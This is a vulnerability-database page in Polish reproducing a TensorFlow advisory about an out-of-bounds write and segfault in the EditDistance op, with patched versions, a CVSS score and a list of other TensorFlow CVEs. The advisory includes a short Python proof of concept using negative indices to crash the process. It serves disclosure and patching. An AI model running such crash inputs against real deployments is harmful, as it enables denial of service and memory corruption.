Wysoka

Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow

  • Ujawniono: 24.05.2022
  • Aktualizacja: 11.10.2026 14:17

Impact

The implementation of tf.raw_ops.EditDistance has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service:

python
import tensorflow as tf

hypothesis_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64) 
hypothesis_values = tf.constant(0, shape=[3], dtype=tf.int64)
hypothesis_shape = tf.constant(0, shape=[3], dtype=tf.int64)

truth_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64)
truth_values = tf.constant(2, shape=[3], dtype=tf.int64)
truth_shape = tf.constant(2, shape=[3], dtype=tf.int64) 

tf.raw_ops.EditDistance(
  hypothesis_indices=hypothesis_indices,
  hypothesis_values=hypothesis_values,
  hypothesis_shape=hypothesis_shape,
  truth_indices=truth_indices,
  truth_values=truth_values,
  truth_shape=truth_shape)

In multiple places throughout the code, we are computing an index for a write operation:

cc
if (g_truth == g_hypothesis) {
  auto loc = std::inner_product(g_truth.begin(), g_truth.end(),
                                output_strides.begin(), int64_t{0});
  OP_REQUIRES(
      ctx, loc < output_elements,
      errors::Internal("Got an inner product ", loc,
                       " which would require in writing to outside of "
                       "the buffer for the output tensor (max elements ",
                       output_elements, ")"));
  output_t(loc) =
      gtl::LevenshteinDistance<T>(truth_seq, hypothesis_seq, cmp);
  // ...
}

However, the existing validation only checks against the upper bound of the array. Hence, it is possible to write before the array by massaging the input to generate negative values for loc.

Patches

We have patched the issue in GitHub commit 30721cf564cb029d34535446d6a5a6357bebc8e7.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) tensorflow < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
Python (PyPI) tensorflow-cpu < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
Python (PyPI) tensorflow-gpu < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1

Odnośniki

Ocena CVSS 7.1/10
Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Słabość (CWE)
CWE-787
Platforma
Python (PyPI)
Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu
Ujawniono
24.05.2022
Aktualizacja
11.10.2026 14:17

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-3088 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-3266 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-2r2f-g8mw-9gvr - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-943 - PyPA Advisory Database; CC BY 4.0

Historia podatności: tensorflow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (433) w archiwum
Wszystkich wpisów
433
Pierwsza → ostatnia
04.2019 07.2024
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 6
  • Wysoka 112
  • Średnia 210
  • Niska 105

Ujawnienia w latach

  1. 2019: 7
  2. 2020: 35
  3. 2021: 200
  4. 2022: 169
  5. 2023: 21
  6. 2024: 1
  7. 2025: 0
  8. 2026: 0
Istotność:
  1. Wysoka · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  2. Wysoka · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  3. Wysoka · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  4. Wysoka · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  5. Wysoka · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  6. Wysoka · 7.5 CVE-2023-25664 < 2.11.1 2.11.1
  7. Wysoka · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  8. Wysoka · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  9. Wysoka · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  10. Wysoka · 7.5 CVE-2023-25671 < 2.11.1 2.11.1
  11. Wysoka · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  12. Wysoka · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  13. Wysoka · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  14. Wysoka · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  15. Wysoka · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  16. Wysoka · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  17. Wysoka · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  18. Wysoka · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  19. Wysoka · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  20. Wysoka · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  21. Wysoka · 7.1 CVE-2022-41894 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  22. Wysoka · 7.0 CVE-2022-35939 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  23. Wysoka · 7.0 CVE-2022-35937 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  24. Wysoka · 7.8 CVE-2022-29216 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  25. Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow ten wpis
    Wysoka · 7.1 CVE-2022-29208 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  26. Krytyczna · 9.3 ghsa-h6gw-r52c-724r < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  27. Wysoka · 7.0 ghsa-43q8-3fv7-pr5x < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  28. Wysoka · 8.8 CVE-2022-23594 >= 2.7.0, < 2.7.1 2.7.1
  29. Wysoka · 8.8 CVE-2022-23560 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  30. Wysoka · 7.1 CVE-2022-23563 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  31. Wysoka · 8.1 CVE-2022-23592 >= 2.8.0-rc0, < 2.8.0 2.8.0
  32. Wysoka · 7.5 CVE-2022-23591 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  33. Wysoka · 8.8 CVE-2022-23574 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  34. Wysoka · 7.6 CVE-2022-23573 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  35. Wysoka · 7.6 CVE-2022-23562 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  36. Wysoka · 8.8 CVE-2022-23561 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  37. Wysoka · 8.8 CVE-2022-23559 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  38. Wysoka · 8.8 CVE-2022-23566 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  39. Wysoka · 7.6 CVE-2022-23584 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  40. Wysoka · 7.6 CVE-2022-23558 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  41. Wysoka · 8.8 CVE-2022-23587 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  42. Wysoka · 7.6 CVE-2022-21740 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  43. Wysoka · 6.5 CVE-2022-21741 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  44. Wysoka · 6.5 CVE-2022-21739 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  45. Wysoka · 6.5 CVE-2022-21737 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  46. Wysoka · 6.5 CVE-2022-21738 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  47. Wysoka · 6.5 CVE-2022-23569 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  48. Wysoka · 6.5 CVE-2022-21729 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  49. Wysoka · 6.5 CVE-2022-21734 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  50. Wysoka · 6.5 CVE-2022-21735 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  51. Wysoka · 7.6 CVE-2022-21736 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  52. Wysoka · 6.5 CVE-2022-21731 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  53. Wysoka · 6.5 CVE-2022-23567 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  54. Wysoka · 6.5 CVE-2022-23568 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  55. Wysoka · 8.1 CVE-2022-21726 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  56. Wysoka · 8.1 CVE-2022-21728 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  57. Wysoka · 7.6 CVE-2022-21727 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  58. Wysoka · 8.1 CVE-2022-21730 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
Pokaż więcej (20) Widać 60 z 118

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.